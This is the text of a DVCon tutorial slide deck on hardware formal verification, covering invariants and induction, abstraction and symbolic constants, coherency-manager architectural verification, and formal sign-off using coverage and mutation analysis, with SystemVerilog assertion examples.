can also be used without splitting the design Invariants as Helper Properties • Invariant properties can be used as constraints – Helps restrict state space • Safe to assume a proven assertion • State space reduction can help improve convergence time State Space Exploration State Space Exploration Invariant proven! Invariants as Helper Properties • Sometimes an invariant property will be almost as difficult to prove as the main property • It may be necessary to chain invariants together in a prove-assume-prove flow • Prove the easiest properties first, then slightly harder, then harder etc… Invariants as Helper Properties • Sometimes an invariant property will be almost as difficult to prove as the main property • It may be necessary to chain invariants together in a prove-assume-prove flow • Prove the easiest properties first, then slightly harder, then harder etc… Invariants as Helper Properties • Sometimes an invariant property will be almost as difficult to prove as the main property • It may be necessary to chain invariants together in a prove-assume-prove flow • Prove the easiest properties first, then slightly harder, then harder etc… Invariants as Helper Properties – Example (DAC 2014) Target Property: \(\text{sampled}_\text{in} \&\& \neg \text{sampled}_\text{out} \&\& \text{count} == 1 \&\& \text{pop} \Rightarrow \text{data}_\text{o} == \text{symb}_\text{data}\) \[\text{L2: sampled}_\text{in} \&\& \neg \text{sampled}_\text{out} \Rightarrow \text{data}[\text{ptr}_\text{locn}] == \text{symb}_\text{data}\] \[\text{L1: sampled}_\text{in} \&\& \neg \text{sampled}_\text{out} \Rightarrow \text{count} <= (\text{wptr} - \text{rptr})\] \[\text{L1: \neg sampled}_\text{in} \Rightarrow \text{count} == (\text{wptr} - \text{rptr})\] \[\text{L0: sampled}_\text{in} \&\& \text{sampled}_\text{out} \Rightarrow \text{count} == 0\] \[\text{L0: \neg sampled}_\text{in} \Rightarrow \neg \text{sampled}_\text{out}\] Invariants as Helper Properties – Example (DAC 2014) Single Transaction Abstraction – Closer Look Without Flows – Invariant Without Flows – Ordering Our Flow – Invariant Our Flow – Ordering 250K Flops 10^{(78,905)} states!! 500x scalability!! Helper Properties – More than Proofs • Using invariants as helper properties can help prove difficult properties • Helper properties can also exist in the form of covers • Deep state space bug hunting utilizes helper covers to guide the search – Simulate to interesting state in cover and run formal from there Deep State Space Bug Hunting What Makes a Good Helper Property? • Invariants for proofs – Describing relation between signals in design and formal testbench – Proving simpler properties on the relationship inside COI of target property – Properties related to the main property (for all DAC invariants antecedents were a subset of expression in main property) • Covers for bug hunting – Hit deep extremes in the design (counters full, credit empty etc.) – Cover interesting corner cases (long gaps between input/output toggling etc.) Induction • Induction is another powerful technique which can help with difficult properties • An inductive property says that if something is true now, it must be true in the future \[ a=b \implies a=b \] Induction and Initial State Abstraction • Combining induction with initial state abstraction enhances its power – Antecedent relies on consequent currently being true – Stops many spurious failures • Sequential depth problem hugely reduced • Counterexamples can be reached very quickly Induction and Initial State Abstraction Example – Small State Machine Design STOP RUN INIT timer = 8192 count = 4096 TB STOP RUN INIT timer = 8192 count = 4095 mismatch as_state_equal: assert property (design_state == tb_state); Lots of sequential depth to bug as_ind_state_equal: assert property (design_state == tb_state |=> design_state == tb_state); No reset to design Depth 1 constraints that design and tb counter and timer are equal in initial state State Space Exploration Induction and Invariants – Combining the Power • Finding invariants that will help with convergence is a challenge • Inductive invariants can be very powerful tools for improving convergence • Tool capabilities can be used to help with this – Find a CEX from a non-reset state – Construct an inductive invariant property to prove this CEX cannot happen – Add this CEX as helper property and step forward for new CEX Summary • Formal is being used on bigger and more complex designs • For successful formal application on such designs advanced techniques are required • Induction and invariants are two powerful formal techniques which can enhance convergence • Finding helpful invariants can be challenging • Advanced tool features can be used to help develop inductive invariants from non-reset design states • When all else fails – deep state space bug hunting can find difficult corner cases using formal Agenda • Introduction : Sean Safarpour (20 min) • Induction & Invariants – Steps to Convergence : Iain Singleton (45 min) • Efficient Formal Modeling Techniques : Shaun Feng (45 min) Break (10 min) • Architectural Formal Verification for Coherency : Syed Suhaib (45 min) • Formal Sign-off : Mandar Munishwar (45 min) Efficient Formal Modeling Techniques Xiushan “Shaun” Feng Samsung Austin R&D Center Email: s.feng@samsung.com Agenda - Formal verification basics - Abstractions - Symbolic constants with examples - Conclusion Formal Verification Basics - Assertions + Modeling - Formal Verification Tool - RTL Model - Debug - Pass - Yes - No Formal Modeling Goals • Goals: – Reduce state space – abstraction – Cut down the number of assertions – Allow formal to quickly find bugs if there is any • Approaches: – Cutpoints/blackboxes/shrinking – Assume-guarantee (or divide-conquer) – Symbolic constants – etc. Agenda • Formal verification basics • Abstractions • Symbolic constants with examples • Conclusion **Cutpoints and Blackboxes** - **Can apply to** - Counters - RAMs/ROMs - Large arrays - Math functions - Unnecessary logic - **Conservative** - No false proven - Deep proof bounds - **Side effect** - False failings - May need constraints Shrunk Design - Address space - Cache coherence needs only one address - Data size - 1 bit may be enough for data integrity check - FIFO - Depth of FIFO can be reduced - IO flopped delay can be removed - Other symmetric structures Assertion/Design Partition - **Assertion partition** - Grouping assertions with same COI - Using proven assertions as assumptions - **Design partition** - Using assertion groups to partition design - One formal test for each partition Preloading • Instead of starting formal at initial state, we can start at a valid pre-defined state – Configuration registers – Counters – FSM – Cache/memory – A witness trace of a cover property Preloading MESI State CPU 1 CPU 2 CPU 3 MEMORY state address value S 0 0 I 0 X S 0 0 address value 0 0 wr add0 1 Shaun Feng - Samsung Counter Abstraction • Not all values of a counter are valid. – 32bit counter has $2^{32}$ possible values – Abstract away the counter and assume possible values. • Initial values of counters – Usually, counters are initialized to predefined values (e.g, 0) – Counter-example can happen with a large counter value – a long trace to hit – Counter initial value abstraction helps to shorten the trace Counter Abstraction Example **Initial Value Abstraction** ```verilog reg [bit_width-1:0] counter; always_ff @(posedge clock) begin if (reset) `ifdef FORMAL_ON `else counter <= 'b0; `endif else if (…) counter <= counter + 1'b1; end ``` **Counter Value Abstraction** TCL control file: ```tcl cutpoint DUT.counter assume {condition |-> DUT.counter inside {0, 1, 2, 4}} ``` Shaun Feng - Samsung Assume-Guarantee • General approach: – Break down a big problem into a few sub-problems – Assume sub-problems – Prove big problem with added assumptions – Prove sub-problems • Techniques can be used: – Design partition – Blackboxes – Cutpoints – Assertion re-writing Over Constraints Used as Abstraction • Over constraints are not always bad – Smaller state space – Finer-grain control of inputs • formal test bench can have both over and under constraints Agenda • Formal verification basics • Abstractions • Symbolic constants • Conclusion Symbolic Constants • A random value after reset • Will hold its value throughout the whole formal proof \((@\ \text{posedge}\ \text{clk})\ \#1\ \$\text{stable}(\text{SymC}[31:0])\) Symbolic Constant Examples - Priority Arbiter - Round Robin Arbiter - In order transport example // if m<n, Req[m] has higher priority than Req[n] // if there is a Req[m], Req[n] cannot be granted // without grant m first property priority_pair (m,n); @ (posedge clk) disable iff (~reset_n) not ( ((m < n) && req[m] && !gnt[m]) throughout (gnt[n])[->1]); endproperty generate for (genvar m = 0; m<=N; m++) begin for (genvar n = 0; n<=N; n++) begin assert property (priority_pair(m,n)); end end endgenerate Use Symbolic Constants localparam WIDTH = $clog2(N); logic [WIDTH-1:0] m, n; ASM_SYM_CONST_m_n: assume property (@(posedge n_clock) disable iff (!n_resetb) ###1 $stable(m) && $stable(n) && m < N && n < N); AST_PRI_ARB: assert property (@(posedge n_clock) disable iff (!n_resetb) not (strong(((m < n) && req[m] & !gnt[m]) throughout (gnt[n])[- >1]))) ); • M, N are random values at reset, but will hold the values after reset. Round Robin Arbiter - Strong fairness - Severed request gets the lowest priority - Rotated priority ``` N-1 ... 0 ``` requests ``` Round Robin Arbiter ``` grant Assertion Checks - Fairness - One hotness - Round robin (rotated priority) Cases Req X is just served, expect to serve Y later Case 1 \[ Y > X, \; i \in (X, Y), \; \text{req}[i] == 0 \] Case 2 \[ X > Y, \; Y==0, \; i \in (X, N-1], \; \text{req}[i] == 0 \] Case 3 \[ X > Y, \; X==N-1, \; i \in [0, Y), \; \text{req}[i] == 0 \] Case 4 \[ N>X > Y>0, \; i \in (X, N-1] \cup [0, Y), \; \text{req}[i] == 0 \] localparam WIDTH = $clog2(N); logic [WIDTH-1:0] X, Y; ASM_SYM_CONST_X_Y: assume property (@(posedge n_clock) disable iff (!n_resetb) #1 $stable(X) && $stable(Y) && X < N && Y < N); generate for (genvar i = 0; i < N; i++) begin location_asm ASM_CASE1: assume property (@(posedge n_clock) disable iff (!n_resetb) Y > X && Y>i && i>X |-> Req[i]==0); ASM_CASE2: assume property (@(posedge n_clock) disable iff (!n_resetb) X > Y && Y==0 && i > X |-> Req[i]==0); ASM_CASE3: assume property (@(posedge n_clock) disable iff (!n_resetb) X > Y && X==N-1 && i < Y |-> Req[i]==0); ASM_CASE4: assume property (@(posedge n_clock) disable iff (!n_resetb) X > Y && (i > X | i < Y) |-> Req[i]==0); end endgenerate AST_RR_ARB: assert property (@(posedge n_clock) disable iff (!n_resetb) #1 $past(Req[X] && Gnt[X]) && Req[Y] && Y !!=X |-> $onehot0(Gnt) && Gnt[Y] ); AST_RR_ONEHOT: assert property (@(posedge n_clock) disable iff (!n_resetb) $onehot0(Req) |-> Gnt == Req ); AST_RR_FAIR: assert property (@(posedge n_clock) disable iff (!n_resetb) not((Req[X] &&~Gnt[X])[*N]) ); Zoom in Fairness Assertion AST_RR_FAIR: assert property (@(posedge n_clock) disable iff (!n_resetb) not((Req[X]&& ~Gnt[X])[*N])); • What happened if N is very big. AST_RR_FAIR: assert property (@(posedge n_clock) disable iff (!n_resetb) X!=Y |-> not(Req[X] throughout Gnt[Y][->2])); In Order Transport - Data comes out in order - No drop of data - No spurious data comes out - No duplication of data Inputs: B A Bad outputs: !B A B !A C A A Modeling - A standard FIFO is used - With full/empty state - Input/output FSMs - 3-state FSM - SA: seen A - SAB: seen A, B - INIT: initial state \begin{verbatim} assume property (##1 $stable(A) && $stable(B) & A!= B); \end{verbatim} Modeling – Cont. Output monitor state machine Flow control ASM_EOC_COND: assume property ( fifo.full || rand_stop |-> in != A && in!= B && in_vld && completed ); ASM_EOC: assume property ( completed |=> completed && !in_vld ); Implementation Input monitor Output monitor DUT push pop Checker: pop |-> fifo.out == output_monitor.state Symbolic Constant in Simulation - Symbolic constants can not be used directly for simulation. - `$stable()` can be replaced by a random number. ```verilog localparam WIDTH = $clog2(N); logic [WIDTH-1:0] m; `ifdef FORMAL ASM_SYM_CONST_m: assume property (@(posedge n_clock) disable iff (!n_resetb) ##1 $stable(m) && m< N ); `else initial begin assert(std::randomize(m)); end `endif AST_PRI_ARB: assert property (@(posedge n_clock) disable iff (!n_resetb) not ((req[m] & !gnt[m])[*N]) ); ``` Conclusion • Efficient formal verification modeling techniques are crucial to formal verification – Simplify formal modeling code – Improve runtime • Abstraction is the key – Abstractions with cost (false counter examples) – Understand designs and find the right balance Q&A Agenda • Introduction : Sean Safarpour (20 min) • Induction & Invariants – Steps to Convergence : Iain Singleton (45 min) • Efficient Formal Modeling Techniques : Shaun Feng (45 min) Break (10 min) • Architectural Formal Verification for Coherency : Syed Suhaib (45 min) • Formal Sign-off : Mandar Munishwar (45 min) Architectural Formal Verification of Coherency Manager Syed Suhaib - Nvidia Corp. Email: ssuhaib@nvidia.com Agenda • Coherency Manager • Verification Methodology • Coherency Manager’s Architectural Model • Results Coherency Manager Cluster1 Cache Cluster2 Cache DMA Agents Coherency Manager (CM) Main Memory Coherency Manager (CM) Agent1 Fill Snoop Read SnpRsp/WriteBack WrAck Agent2 Verification Challenges • High Complexity • Large DUT • Traditional Simulation Doesn’t Work Well! – Slow – Coverage Challenges – Stub models for multiple Clusters • Tricky Verification Challenges • Formal Verification (FV) – Impractical to apply FV on entire system • State space – May create a custom setup • Black-box sub-units and add assumptions • Onion-peeling effort – Getting rid of non-relevant micro-arch details Syed Suhaib - Nvidia Steps of Architectural Verification 1. Code Architectural models of Coherency Manager components affecting coherency 2. Prove Coherence on interconnection of Architectural models (FPV) 3. Prove Architectural models against Coherency ManagerRTL subunits (FPV) Cluster1 vs. Cluster2 Interface Model <table> <thead> <tr> <th></th> <th>Cluster1</th> <th>Cluster2</th> </tr> </thead> <tbody> <tr> <td>Interface</td> <td>ACE</td> <td>Proprietary</td> </tr> <tr> <td>Coherency Protocol</td> <td>MOESI</td> <td>MESI</td> </tr> <tr> <td>Cache-line Model</td> <td>Oski ACE VIP</td> <td>Coded in-house</td> </tr> </tbody> </table> ![Diagram](chart) **Cluster1** - CM - AR - R - AW - W - B - AC - CR - CD **Cluster2** - CM - reqrsp - data - wrack Cluster1 Interface (C1I) Model - Cluster1 - Cluster1 I/F (C1I) - Coherency Model - Client Interconnect (CIC) - Coherency Engine (CE) - Memory Interconnect (MIC) - Cluster2 - Cluster2 I/F (C2I) - DMA I/F - DMA Agents Cluster1 Interface (C1I) Model - Tracks progress of requests for a particular cache-line - Read Tracker - Write Tracker - Snoop Tracker - Trackers can be replicated for multiple cache-lines Snoop Tracker Cluster1 Cluster1 I/F (C1I) Client Interconnect (CIC) Coherency Engine (CE) C1I->Cluster1 Cluster1->C1I CIC->C1I C1I->CIC CE->CIC CIC->CE Reset CIC->C1I WAIT_FOR_CIC_REQ Reset Snoop Tracker Cluster1 C1I->Cluster1 Cluster1->C1I Cluster1 I/F (C1I) CIC->C1I C1I->CIC Client Interconnect (CIC) CE->CIC CIC->CE Coherency Engine (CE) Reset WAIT_FOR_CIC_REQ MY CIC SNP REQ, No FillOwn Pending WAIT_FOR_C1I_REQ C1I->Cluster1 CIC->C1I Cluster1->C1I Snoop Tracker Cluster1 I/F (C1I) Cluster1 Client Interconnect (CIC) Coherency Engine (CE) Reset CIC->C1I Cluster1->C1I C1I->Cluster1 C1I->CIC CIC->C1I CIC->CE CE->CIC WAIT_FOR_CIC_REQ MY CIC SNP REQ, No FillOwn Pending MY CIC SNP REQ, but Old FillOwn pending WAIT_FOR_C1I_REQ BLOCK_SNP_TO_C1I MY CIC SNP REQ, No FillOwn Pending MY CIC SNP REQ, but Old FillOwn pending C1I->Cluster1 Reset Snoop Tracker Cluster1 Cluster1 I/F (C1I) Client Interconnect (CIC) Coherency Engine (CE) C1I->Cluster1 Cluster1->C1I CIC->C1I C1I->CIC CIC->CE CE->CIC Reset WAIT_FOR_CIC_REQ MY CIC SNP REQ, No FillOwn Pending MY CIC SNP REQ, but Old FillOwn pending WAIT_FOR_C1I_REQ FillOwn Complete BLOCK_SNPN TO_C1I C1I->Cluster1 MY CIC SNP REQ, No FillOwn Pending FillOwn Complete Snoop Tracker Cluster1 Cluster1 I/F (C1I) Cluster1>C1I CIC->C1I C1I->CIC CIC->CE CE->CIC Client Interconnect (CIC) Coherency Engine (CE) Reset WAIT_FOR_CIC_REQ MY CIC SNP REQ, No FillOwn Pending WAIT_FOR_C1I_REQ My Snoop Req sent? FillOwn Complete BLOCK_SNAPSHOT_TO_C1I MY CIC SNP REQ, but Old FillOwn pending C1I->CIC CIC->C1I Cluster1->C1I Cluster1->Cluster1 Wait_for_CIC_RSP FillOwn Complete My Snoop Req sent? Snoop Tracker Cluster 1 Cluster 1 /F (C1I) CIC->C1I CIC->CE CE->C1I C1I->CIC Cluster 1->C1I Cluster 1->Cluster 1 Client Interconnect (CIC) Coherency Engine (CE) Reset WAIT_FOR_CIC_REQ MY CIC SNP REQ, No FillOwn Pending FillOwn Complete MY CIC SNP REQ, but Old FillOwn pending WAIT_FOR_C1I_REQ My Snoop Req sent? BLOCK_SNPN_TO_C1I My Snoop Rsp rcvd? WAIT_FOR_C1I_RSP My Snoop Rsp rcvd? WAIT_FOR_C1I_RSP C1I->CIC C1I->Cluster 1 Cluster 1->C1I Snoop Tracker ➢ Properties: ➢ Final Snoop response must be as per original snoop request. ➢ Snoop should push FillOwn. Read Tracker - Properties: - Read Request Consistency - Read Re-order buffer entry reuse - FIFO ordering rules on RRESP (on per ARID basis) - SoDev Ordering properties C1I Properties • Only 1 outstanding coherent request allowed for a cache-line • If cache-line is not Unique, there should not be a dirty write back Coherency Engine Architectural Model - Snoop Filter - Generates Proper FillOwn/WriteAck for each Read/Write request - Models Full-Address Chain & Hazards - Doesn’t Model: Data Values Components of CE Architectural Model 1. Read Request FIFO – Serialize read requests. – CE processes 1 read / address at a time. 2. Top-Of-FIFO State Machine – Models actions executed by CE to process a single read request / cacheline. 3. Snoop State Machine – Track outstanding snoops for tracked cacheline address. 4. Write Tracker: Tracks outstanding writebacks from agents. Top-of-FIFO State Machine - **IDLE** - Tracked Req - **WAIT_SNOOPS** - Snoop Needed - Snoops done - **WAIT_WR_ACK** - Read Needed, but older dirty WB waiting for MIC ack - Snoop returned dirty data - **ISSUE_RD** - Read needed & No Write Ack pending from MIC - Read Issued - Read Still Needed - **WAIT_ENTRY_DEALLOC** - Read Not Needed originally, or now - Done with Req - Else Syed Suhaib - Nvidia Results • Coherency Verification \[ \text{\$onehot0}\{ (\text{cl\_state\_cluster1==Unique}), \\ (\text{cl\_state\_cluster2==Unique}), \\ (\text{cl\_state\_dma==Unique}) \} \] • Protocol Compliance Bugs • C1I re-orders Read requests with same AXI-ID from cluster1 to coherency engine (CE). • C1I sends IsShared=1 for Failed STREX Key Takeaways • Architectural Formal Verification: – System level checking. – FV Applied at various abstraction levels. • Reduce Complexity – Prove local properties against RTL – Example use cases • Cache Coherency • Forward progression of retiring instructions Acronyms • CM: Coherency Manager • AFV: Architectural Formal Verification • C1I: Cluster1 Interface • C2I: Cluster2 Interface • DMA I/F: DMA Interface • CIC: Client Interconnect • MIC: Memory Interconnect • CE: Coherency Engine Q&A Agenda • Introduction : Sean Safarpour (20 min) • Induction & Invariants – Steps to Convergence : Iain Singleton (45 min) • Efficient Formal Modeling Techniques : Shaun Feng (45 min) Break (10 min) • Architectural Formal Verification for Coherency : Syed Suhaib (45 min) • Formal Sign-off : Mandar Munishwar (45 min) Formal Sign-Off What And How? Mandar Munishwar Sr. Staff Engineer, Qualcomm Email: mmunishw@qti.qualcomm.com Outline • Introduction • What is Formal Sign-off • Steps for Formal Sign-off – Plan – Execute – Measure • Conclusion Silicon Bugs … OCT 1994 Pentium FDIV: The processor bug that shook the world APR 2017 RISC-V bugs found by Princeton TriCheck, which has taken four years to develop, uses formal specifications of memory ordering – axioms. JAN 2018 Kernel panic! What are Meltdown and Spectre, the bugs affecting nearly every computer and device? Why these escaped verification? Traditional Verification dependent on vectors/stimulus Impact of Silicon Bugs 1994 2018 What is Formal Sign-Off • Can my formal setup catch all the design bugs? What is Formal Sign-Off • Have I written all the checks • What is quality of checks? • Is there any Over constraints? Formal Verification Process Front-loading vs. Back-loading **PLAN** - Identify design blocks - Functionality to be verified - 7 step Process **EXECUTE** - Write checkers/covers - Debug CEX - Write Constraints - Run with updated RTL **MEASURE** - Have I written enough checkers? - What is the quality of my checker? - Are my bounds enough deep? - Is my setup over constrained? 1. Identify blocks suitable for Formal Sign-off 2. Capture Functional behavior 3. Define Formal Specification Interface 4. Create Requirements Checklist in Natural Language 5. Formalize Natural Language Requirements Checklist Capture Functional Behavior (step 2) • Shape of the signal • Interface relationship • Causality • Forward Progress • Signal Integrity (transport) ## Example of Formal Specification Interface (step 3) <table> <thead> <tr> <th>Inputs</th> <th>desc</th> </tr> </thead> <tbody> <tr> <td></td> <td></td> </tr> <tr> <td></td> <td></td> </tr> <tr> <td></td> <td></td> </tr> <tr> <td></td> <td></td> </tr> <tr> <td></td> <td></td> </tr> </tbody> </table> <table> <thead> <tr> <th>Outputs</th> <th>desc</th> </tr> </thead> <tbody> <tr> <td></td> <td></td> </tr> <tr> <td></td> <td></td> </tr> <tr> <td></td> <td></td> </tr> <tr> <td></td> <td></td> </tr> <tr> <td></td> <td></td> </tr> </tbody> </table> --- ### Checkers <table> <thead> <tr> <th>Interface Name</th> <th>Outputs</th> <th>Desc</th> <th>SVA</th> </tr> </thead> <tbody> <tr> <td>SCHD2BMMU</td> <td>bmmu_gnt</td> <td>signal is a pulse</td> <td>bmmu2schd_bmmu_gnt_is_pulse_a</td> </tr> <tr> <td></td> <td></td> <td>for each req, bmmu should provide gnt within N cycles</td> <td>bmmu2schd_bmmu_no_gnt_if_no_req_a</td> </tr> </tbody> </table> ### Constraints <table> <thead> <tr> <th>Interface name</th> <th>signals</th> <th>Constraints</th> <th>SVA</th> </tr> </thead> <tbody> <tr> <td>deint interface x 4</td> <td>llr_dat</td> <td>no valid for 15 cycles after last init gnted by bmmu</td> <td>deint2bmmu_no_data_for_15cyc_after_last_init_gnted_c</td> </tr> <tr> <td></td> <td>llr_valid</td> <td>UID never out of range (less than 20 per bank)</td> <td>deint2bmmu_no_uid_oor_c</td> </tr> <tr> <td></td> <td>llr_usr</td> <td>forbid invalid uid (uid that is not initialized)</td> <td>deint2bmmu_forbid_invalid_deint_llr_usr_c</td> </tr> <tr> <td></td> <td></td> <td>same uid cannot be on multiple channels in a given cycle (per uid)</td> <td>deint2bmmu_no_duplicate_uid_across_chnl_c</td> </tr> </tbody> </table> Checks for common design components • FIFOs • Counters • Arbiters EXECUTE Capture Assertions Verify Assertions/design Debug Counter-examples Fix RTL Bug Fix Assertion Bug Fix Testbench Bug Specification Feature Lists Detailed timing Unverified Assertion Coverage Pass Fail MEASURE Is my setup over constrained? • Code Coverage <table> <thead> <tr> <th></th> <th>Without Constraints</th> <th>With Constraints</th> </tr> </thead> <tbody> <tr> <td>Reached</td> <td>95</td> <td>88</td> </tr> <tr> <td>Unreachable</td> <td>5</td> <td>12</td> </tr> </tbody> </table> Indicates dead code Indicates Over Constraint MEASURE Have I written enough checkers? - COI Coverage - < 100% COI Coverage indicates missing checkers MEASURE Quality of checkers • Subjective • A good job at planning phase will ensure quality • Diversified checkers • Technical review with team MEASURE Quantifying the Quality of checkers • Formal Core Formal-core Coverage Design More P 0 P 1 P 2 P 3 P 4 ✅ ✅ Mandar Munishwar - Qualcomm 100% Formal-core Coverage ```verilog testmodule top(input clk, input rst_x, input push, input pop, output logic full, output logic empty); logic [3:0] cnt; always@ (posedge clk or negedge rst_x) begin if (rst_x) begin cnt <= '0; end else begin if (push & ~pop & cnt!=4'h1) begin cnt <= cnt + 1'b1; end else if (!push & pop & cnt!=4'h0) begin cnt <= cnt - 1'b1; end else begin cnt <= cnt; end end end //always assign full = (cnt == 4'hf); assign empty = (cnt == 4'h0); P1: assert property (@posedge clk) cnt == 4'h1 -> full; P2: assert property (@posedge clk) cnt == 4'h0 -> empty; P3: assert property (@posedge clk) ~push & pop |=> #stable(cnt); endmodule ``` Let’s introduce one ... ```verilog module top(input clk, input rst_x, input push, output pop, output logic full, output logic empty); logic [8:0] cnt; always@ (posedge clk or negedge rst_x) begin if (rst_x) begin cnt <= '0; end else begin if (push && pop == 4'hf) begin cnt <= cnt + 1'b2; end else if (push && pop && cnt == 4'h0) begin cnt <= cnt - 1'b1; end else begin cnt <= cnt; end end //always assign full = (cnt == 4'hf); assign empty = (cnt == 4'h0); P1: assert property (@(posedge clk) cnt == 4'hf |-> full); P2: assert property (@(posedge clk) cnt == 4'h0 |-> empty); P3: assert property (@(posedge clk) ~push & pop |-> $stable(cnt)); ``` - My checkers are still passing Mandar Munishwar - Qualcomm Formal-core Coverage • As with any other structural coverage, 100 % formal-core coverage does not mean much • What are the options? What is Mutation? • Modifying the DUT in small ways • Can this modification be detected by checkers? ```java if (a && b) { c = 1; } else { c = 0; } ``` ```java if (a || b) { c = 1; } else { c = 0; } ``` Applying Mutation – 1st Iteration module top(input clk, input rst_x, input push, input pop, output logic full, output logic empty); logic [3:0] cnt; always@ (posedge clk or negedge rst_x) begin if(!rst_x) cnt <= '0; else begin if(push &~ pop & cnt == 4'hf) begin cnt <= cnt + 1'b1; end else if (!push & pop & cnt == 4'h0) begin cnt <= cnt - 1'b1; end else begin cnt <= cnt; end end //always assign full = (cnt == 4'hf); assign empty = (cnt == 4'h0); P1: assert property (@posedge clk) cnt == 4'hf |-> full; P2: assert property (@posedge clk) cnt == 4'h0 |-> empty; P3: assert property (@posedge clk) -push&-pop |-> $stable(cnt); Properties: 35 - passed[18], failed[17], disabled[0]; Applying Mutation – 2nd Iteration module top(input clk, input rst_x, input push, input pop, output logic full, output logic empty); logic [3:0] cnt; always@ (posedge clk or negedge rst_x) begin if (!rst_x) begin cnt <= '0; end else begin if (push && pop && (cnt != '4'hf)) begin cnt <= cnt + 1'b1; end else if (!push && pop && (cnt != '4'h0)) begin cnt <= cnt - 1'b1; end else begin cnt <= cnt; end end //always assign full = (cnt == '4'hf); assign empty = (cnt == '4'h0); P1: assert property (@posedge clk) cnt == '4'hf |-> full; P2: assert property (@posedge clk) cnt == '4'h0 |-> empty; P3: assert property (@posedge clk) ~push&~pop |-> $stable(cnt); P4: assert property (@posedge clk) push&pop & (cnt != '4 hf) |-> (cnt == $past(cnt) +1)); P5: assert property (@posedge clk) ~push&pop & (cnt != '4'h0) |-> (cnt == $past(cnt) -1)); <table> <thead> <tr> <th>Class Name</th> <th>Faults in Design</th> <th>Faults in Report</th> <th>Non-Activated</th> <th>Detected</th> <th>Non-Detected</th> <th>Disabled By User</th> </tr> </thead> <tbody> <tr> <td>TopOutputsConnectivity</td> <td>0</td> <td>0</td> <td>0</td> <td>0</td> <td>0</td> <td>0</td> </tr> <tr> <td>ResetConditionTrue</td> <td>1</td> <td>1</td> <td>0</td> <td>1</td> <td>1</td> <td>0</td> </tr> <tr> <td>SynchronousControlFlow</td> <td>8</td> <td>8</td> <td>0</td> <td>7</td> <td>1</td> <td>0</td> </tr> <tr> <td>InternalConnectivity</td> <td>0</td> <td>0</td> <td>0</td> <td>0</td> <td>0</td> <td>0</td> </tr> <tr> <td>SynchronousDeadAssign</td> <td>0</td> <td>0</td> <td>0</td> <td>0</td> <td>0</td> <td>0</td> </tr> <tr> <td>ComboLogicControlFlow</td> <td>0</td> <td>0</td> <td>0</td> <td>0</td> <td>0</td> <td>0</td> </tr> <tr> <td>SynchronousLogic</td> <td>15</td> <td>15</td> <td>0</td> <td>14</td> <td>1</td> <td>0</td> </tr> <tr> <td>ComboLogic</td> <td>10</td> <td>10</td> <td>0</td> <td>10</td> <td>0</td> <td>0</td> </tr> <tr> <td>OtherFaults</td> <td>1</td> <td>1</td> <td>0</td> <td>1</td> <td>0</td> <td>0</td> </tr> </tbody> </table> What Are The Ways To Mutate? - Statement deletion - Statement duplication or insertion, e.g. `goto fail`\[15\] - Replacement of boolean subexpressions with `true` and `false` - Replacement of some arithmetic operations with others, e.g. `+` with `*`, `-` with `/` - Replacement of some boolean relations with others, e.g. `>` with `>=`, `==` and `<=` - Replacement of variables with others from the same scope (variable types must be compatible) Mutant Classification - Top Outputs Connectivity - Reset Condition True - Internal Connectivity - Synchronous Flow Control - Synchronous Dead Assign - Combo Logic Control Flow Example of TopOutput Connectivity Faults - module topMod (output out1…); - assign out1 = (opsa0en == 1'b1) ? ('0) : // OutputPortStuckAt0 (opsa1en == 1'b1) ? ('1) : // OutputPortStuckAt1 (opnegen == 1'b1) ? (~orig_out1) : // OutputPortNegated orig_out1 ; - ... - endmodule Example of ResetCondition True Fault ```verilog always @(posedge clk or negedge rstn) begin if (!rstn) begin .... end else ... .... always @(posedge clk or negedge rstn) begin if (1'b1) begin .... end else ... .... ``` Original Mutated Summary • A well executed and measured plan can take us to the goal of Formal sign-off • Plan – Well Defined process with diversified checkers identified • Execution – All checkers passing or acceptable bounded depth • Measurement – No over constraint – 100% Formal Core – Extra confidence with Mutation analysis Thank You
{"Source-Url": "https://dvcon-proceedings.org/wp-content/uploads/formal-verification-tutorial-breaking-through-the-knowledge-barrier-presentation.pdf", "len_cl100k_base": 10587, "olmocr-version": "0.1.53", "pdf-total-pages": 135, "total-fallback-pages": 0, "total-input-tokens": 161537, "total-output-tokens": 15267, "length": "2e13", "weborganizer": {"__label__adult": 0.00048661231994628906, "__label__art_design": 0.0009622573852539062, "__label__crime_law": 0.0004398822784423828, "__label__education_jobs": 0.0015153884887695312, "__label__entertainment": 0.00012421607971191406, "__label__fashion_beauty": 0.0002791881561279297, "__label__finance_business": 0.0007610321044921875, "__label__food_dining": 0.0004041194915771485, "__label__games": 0.00125885009765625, "__label__hardware": 0.00884246826171875, "__label__health": 0.0004982948303222656, "__label__history": 0.0003733634948730469, "__label__home_hobbies": 0.0002944469451904297, "__label__industrial": 0.0018014907836914065, "__label__literature": 0.00029468536376953125, "__label__politics": 0.0004549026489257813, "__label__religion": 0.0007009506225585938, "__label__science_tech": 0.173583984375, "__label__social_life": 0.00013148784637451172, "__label__software": 0.008758544921875, "__label__software_dev": 0.79638671875, "__label__sports_fitness": 0.0005207061767578125, "__label__transportation": 0.0011548995971679688, "__label__travel": 0.0002142190933227539}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 36156, 0.02481]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 36156, 0.18046]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 36156, 0.72991]], "google_gemma-3-12b-it_contains_pii": [[0, 235, false], [235, 577, null], [577, 642, null], [642, 888, null], [888, 1499, null], [1499, 1689, null], [1689, 1946, null], [1946, 2178, null], [2178, 2305, null], [2305, 2628, null], [2628, 2997, null], [2997, 3125, null], [3125, 3203, null], [3203, 3545, null], [3545, 3545, null], [3545, 3868, null], [3868, 3979, null], [3979, 4287, null], [4287, 4337, null], [4337, 4361, null], [4361, 4385, null], [4385, 4672, null], [4672, 4887, null], [4887, 5106, null], [5106, 5316, null], [5316, 5340, null], [5340, 5383, null], [5383, 5667, null], [5667, 5951, null], [5951, 6235, null], [6235, 7013, null], [7013, 7259, null], [7259, 7575, null], [7575, 7604, null], [7604, 8121, null], [8121, 8330, null], [8330, 8623, null], [8623, 8900, null], [8900, 9098, null], [9098, 9122, null], [9122, 9547, null], [9547, 10040, null], [10040, 10040, null], [10040, 10363, null], [10363, 10474, null], [10474, 10574, null], [10574, 10691, null], [10691, 10975, null], [10975, 11075, null], [11075, 11334, null], [11334, 11575, null], [11575, 11820, null], [11820, 12027, null], [12027, 12169, null], [12169, 12579, null], [12579, 13002, null], [13002, 13287, null], 